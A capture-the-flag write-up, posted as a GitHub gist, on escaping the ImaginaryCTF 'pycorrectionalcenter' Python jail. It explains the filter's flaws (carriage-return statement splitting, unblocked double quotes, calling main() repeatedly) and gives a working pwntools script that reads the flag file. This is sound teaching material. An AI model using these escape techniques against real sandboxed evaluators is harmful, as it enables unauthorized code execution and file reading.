Skip to content

Instantly share code, notes, and snippets.

@Victor4X
Created July 18, 2022 20:40
Show Gist options
  • Select an option

  • Save Victor4X/13c3774d1b4bdbed08167ad779a06c1c to your computer and use it in GitHub Desktop.

Select an option

Save Victor4X/13c3774d1b4bdbed08167ad779a06c1c to your computer and use it in GitHub Desktop.
ImaginaryCTF - pycorrectionalcenter - brunnerne

pycorrectionalcenter is a misc challenge about escaping a python jail.

The challenge included the following jail source code:

#!/usr/bin/env python3.9

trash = {}

def main():
  print("Welcome to the Python Correctional Center, where you won't be able to escape!")
  allowed_variables = {**vars(__builtins__).copy(), **globals()}
  for name in ["exec", "eval", "__import__", "breakpoint", "input", "__builtins__", "getattr", "setattr", "delattr", "license", "vars"]:
    allowed_variables[name] = None
  inp = input(">>> ")
  assert all([ord(c) < 128 for c in inp])
  assert not '.' in inp
  assert not '_' in inp
  assert not '!' in inp
  assert not '*' in inp
  assert not '&' in inp
  assert not '@' in inp
  assert not '`' in inp
  assert not '~' in inp
  assert not '{' in inp
  assert not '}' in inp
  assert not ';' in inp
  assert not '\'' in inp
  assert not '\'' in inp
  assert not 'lambda' in inp
  assert not 'raise' in inp
  assert not 'assert' in inp
  assert not 'if' in inp
  assert not 'for' in inp
  assert not 'import' in inp
  assert len(inp) < 12
  exec(inp, {"__builtins__": allowed_variables}, trash)
  exit()

if __name__ == "__main__":
  main()

We see that the user is prompted for an input, which after a lot of filtering, goes into an exec() function. We are restricted both in the available variables/functions, what symbols we can use and the length of our input.

We knew from playing another challenge, that we could input a carriage return \r in order to have exec interpret a newline, while not having input() end our string prematurely. This allows us to input multiple statements into the exec block without using ;

Looking at the restricted symbols, we also see that strings are not properly prohibited:

  assert not '\'' in inp
  assert not '\'' in inp

Instead of checking for single and double quotes, they are only checking for single quotes. This allows us to easily make strings.

We are not restricted in assignments or function executions.

In order to circumvent the length restriction, we quickly figured out that we could make multiple inputs by calling main() again. We wanted to do this multiple times, so we assigned main to a shorter variable, and executed at the end of every input. m=main\rm()

Now we just had to find a way to read the flag file. The shortest way we could find was with print(next(open('flag.txt'))) which could be encoded like so: (imagine there is a \rm() after every line)

c="fla"
c=c+"g"
d=chr
e=46
d=d(e)
c+=d
c+="tx"
c+="t"
b=open
f=b(c)
n=next
p=print
p(n(f))

Which leads to the final solvescript:

from pwn import *

io = remote("pycorrectionalcenter.chal.imaginaryctf.org", 1337)

cmds = """
c="fla"
c=c+"g"
d=chr
e=46
d=d(e)
c+=d
c+="tx"
c+="t"
b=open
f=b(c)
n=next
p=print
p(n(f))
"""

io.sendlineafter(b">>> ", b"m=main\rm()")
for cmd in cmds.strip().split():
    print(io.sendlineafter(b">>> ", cmd.encode() + b"\rm()"))
io.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment